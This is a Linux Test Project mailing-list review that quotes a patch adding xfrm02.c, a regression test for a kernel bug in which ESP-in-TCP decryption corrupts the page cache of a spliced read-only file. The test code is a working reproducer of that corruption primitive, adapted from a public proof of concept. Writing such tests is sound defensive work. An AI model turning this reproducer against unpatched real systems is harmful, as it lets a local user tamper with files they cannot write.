[LTP] [PATCH v2] sockets/xfrm02: Add ESP-in-TCP page cache corruption test

Martin Doucha mdoucha@suse.cz
Wed May 13 18:35:19 CEST 2026


Hi,
two minor fixes that can be done during merge:
- The bug has a CVE now: CVE-2026-46300
- One issue below.

Tested on kernels v5.14 and v6.12.

Reviewed-by: Martin Doucha <mdoucha@suse.cz>

On 5/13/26 17:35, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
> 
> Verify that ESP-in-TCP (espintcp) does not corrupt the page cache when
> file data is spliced into a TCP socket. When MSG_SPLICE_PAGES references
> page cache pages directly in the skb and the receiving socket has
> espintcp ULP enabled, the kernel's ESP handler may decrypt the payload
> in-place on those pages, corrupting the cached file contents.
> 
> The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
> known data to a file, creates a TCP connection where the receiver
> enables espintcp ULP, splices the file data into the TCP socket as
> part of a crafted ESP-in-TCP frame, and then verifies whether the
> page cache was corrupted.
> 
> Reproducer based on:
> https://github.com/v12-security/pocs/tree/main/fragnesia
> 
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
> Changes in v2:
> - use tst_cmd()
> - evict pages before sending prefix
> - remove checkpoints
> - add usleep() to trigger the bug
> - use tst_reap_children()
> - Link to v1: https://lore.kernel.org/r/20260513-fragnesia-v1-1-80c5b3b09005@suse.com
> ---
>   runtest/cve                          |   1 +
>   testcases/network/sockets/.gitignore |   1 +
>   testcases/network/sockets/xfrm02.c   | 227 +++++++++++++++++++++++++++++++++++
>   3 files changed, 229 insertions(+)
> 
> diff --git a/runtest/cve b/runtest/cve
> index 530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce..5fe83ec2d1803a5c0f6b4eba05fcf00cc80c8809 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -95,3 +95,4 @@ cve-2025-38236 cve-2025-38236
>   cve-2025-21756 cve-2025-21756
>   cve-2026-31431 af_alg08
>   cve-2026-43284 xfrm01
> +cve-2026-fragnesia xfrm02
> diff --git a/testcases/network/sockets/.gitignore b/testcases/network/sockets/.gitignore
> index 6f3c0ad84c000f0214f371c6a601afb592b15faa..35bc0462b676b041d9a5b52a37fded973d0157a9 100644
> --- a/testcases/network/sockets/.gitignore
> +++ b/testcases/network/sockets/.gitignore
> @@ -1 +1,2 @@
>   /xfrm01
> +/xfrm02
> diff --git a/testcases/network/sockets/xfrm02.c b/testcases/network/sockets/xfrm02.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..d7fe70e3d242227c374b5c9b876c8efeeb0e1f5d
> --- /dev/null
> +++ b/testcases/network/sockets/xfrm02.c
> @@ -0,0 +1,227 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Verify that ESP-in-TCP (espintcp) does not corrupt the page cache
> + * when file data is spliced into a TCP socket.
> + *
> + * When file data is spliced into a TCP socket, the kernel uses
> + * MSG_SPLICE_PAGES to reference page cache pages directly in the skb.
> + * If the receiving socket has TCP_ULP "espintcp" enabled and a matching
> + * xfrm SA exists, the kernel's ESP handler decrypts the payload
> + * in-place on those page cache pages, corrupting the cached file
> + * contents.
> + *
> + * The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes
> + * known data to a file, creates a TCP connection where the receiver
> + * enables espintcp ULP, splices the file data into the TCP socket as
> + * part of a crafted ESP-in-TCP frame, and then verifies whether the
> + * page cache was corrupted.
> + *
> + * Reproducer based on:
> + * https://github.com/v12-security/pocs/tree/main/fragnesia
> + */
> +
> +#define _GNU_SOURCE
> +
> +#include "tst_test.h"
> +#include "tst_net.h"
> +#include "tst_netdevice.h"
> +#include "lapi/tcp.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "pagecache_test"
> +#define DATA_SIZE 4096
> +
> +#define SPI 0x100
> +#define TCP_PORT 5556
> +#define IV_LEN 8
> +#define ESP_HDR_SIZE 16
> +#define AES_KEYLEN 16
> +#define SALT_LEN 4
> +#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
> +
> +/* ESP-in-TCP frame prefix: 2-byte length + ESP header */
> +#define PREFIX_SIZE (2 + ESP_HDR_SIZE)
> +
> +static const uint8_t aead_key[KEYTOTAL] = {
> +	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
> +	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
> +	0x01, 0x02, 0x03, 0x04
> +};
> +
> +static uint8_t original[DATA_SIZE];
> +static int file_fd = -1;
> +static int srv_fd = -1;
> +
> +static void setup(void)
> +{
> +	char keyhex[KEYTOTAL * 2 + 3];
> +	char spihex[16];
> +	char port_str[8];
> +	int i, ret;
> +
> +	tst_setup_netns();
> +	NETDEV_SET_STATE("lo", 1);
> +
> +	keyhex[0] = '0';
> +	keyhex[1] = 'x';
> +	for (i = 0; i < KEYTOTAL; i++)
> +		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
> +
> +	snprintf(spihex, sizeof(spihex), "0x%08x", SPI);
> +	snprintf(port_str, sizeof(port_str), "%d", TCP_PORT);
> +
> +	const char *const xfrm_cmd[] = {
> +		"ip", "xfrm", "state", "add",
> +		"src", "::1", "dst", "::1",
> +		"proto", "esp", "spi", spihex,
> +		"encap", "espintcp", port_str, port_str, "::",
> +		"aead", "rfc4106(gcm(aes))", keyhex, "128",
> +		"mode", "transport",
> +		NULL
> +	};
> +
> +	ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
> +	if (ret)
> +		tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state");
> +
> +	for (i = 0; i < DATA_SIZE; i++)
> +		original[i] = (uint8_t)(i & 0xff);
> +}
> +
> +static void try_corrupt(void)
> +{
> +	struct sockaddr_in6 addr = {
> +		.sin6_family = AF_INET6,
> +		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
> +		.sin6_port = htons(TCP_PORT),
> +	};
> +	uint8_t prefix[PREFIX_SIZE];
> +	uint16_t frame_len;
> +	uint32_t spi_net, seq_net;
> +	char ulp[] = "espintcp";
> +	int acc_fd;
> +	loff_t off;
> +
> +	frame_len = htons(PREFIX_SIZE + DATA_SIZE);
> +	memcpy(prefix, &frame_len, 2);
> +
> +	spi_net = htonl(SPI);
> +	memcpy(prefix + 2, &spi_net, 4);
> +
> +	seq_net = htonl(1);
> +	memcpy(prefix + 6, &seq_net, 4);
> +
> +	memset(prefix + 10, 0xcc, IV_LEN);
> +
> +	srv_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
> +	SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1);
> +	SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr));
> +	SAFE_LISTEN(srv_fd, 1);
> +
> +	if (!SAFE_FORK()) {
> +		int cli_fd, pipefd[2];
> +
> +		SAFE_CLOSE(srv_fd);
> +
> +		cli_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0);
> +		SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
> +		SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
> +
> +		SAFE_POSIX_FADVISE(cli_fd, 0, 0, POSIX_FADV_DONTNEED);
> +
> +		SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0);
> +		SAFE_PIPE(pipefd);
> +
> +		off = 0;
> +		SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0);
> +
> +		/*
> +		 * Splice pipe into TCP socket. The kernel uses
> +		 * MSG_SPLICE_PAGES to keep page cache references in
> +		 * the skb. On loopback the receiver's ESP handler may
> +		 * decrypt in-place, corrupting the page cache. May
> +		 * fail on patched kernels.
> +		 */
> +		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);
> +
> +		SAFE_CLOSE(pipefd[0]);
> +		SAFE_CLOSE(pipefd[1]);
> +		SAFE_CLOSE(cli_fd);
> +
> +		exit(0);
> +	}
> +
> +	tst_reap_children();
> +
> +	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
> +	SAFE_CLOSE(srv_fd);

tst_reap_children() should be called here, after accepting the 
connection and closing the listen socket.

> +
> +	SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp));
> +
> +	/* Let the espintcp strparser process buffered ESP data */
> +	usleep(30000);
> +
> +	SAFE_CLOSE(acc_fd);
> +}
> +
> +static void run(void)
> +{
> +	uint8_t readback[DATA_SIZE];
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> +	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt();
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, DATA_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache corrupted via xfrm ESP-in-TCP splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +
> +	SAFE_UNLINK(TESTFILE);
> +}
> +
> +static void cleanup(void)
> +{
> +	if (srv_fd != -1)
> +		SAFE_CLOSE(srv_fd);
> +
> +	if (file_fd != -1)
> +		SAFE_CLOSE(file_fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.needs_tmpdir = 1,
> +	.forks_child = 1,
> +	.needs_kconfigs = (const char *[]) {
> +		"CONFIG_USER_NS=y",
> +		"CONFIG_NET_NS=y",
> +		"CONFIG_XFRM",
> +		"CONFIG_INET6_ESP",
> +		"CONFIG_INET6_ESPINTCP",
> +		"CONFIG_CRYPTO_GCM",
> +		NULL
> +	},
> +	.save_restore = (const struct tst_path_val[]) {
> +		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
> +		{}
> +	},
> +	.needs_cmds = (struct tst_cmd[]) {
> +		{.cmd = "ip"},
> +		{}
> +	},
> +};
> 
> ---
> base-commit: e1fc50957c98ae4c27064756e063de0e7136cde3
> change-id: 20260513-fragnesia-9588d855becf
> 
> Best regards,


-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic


More information about the ltp mailing list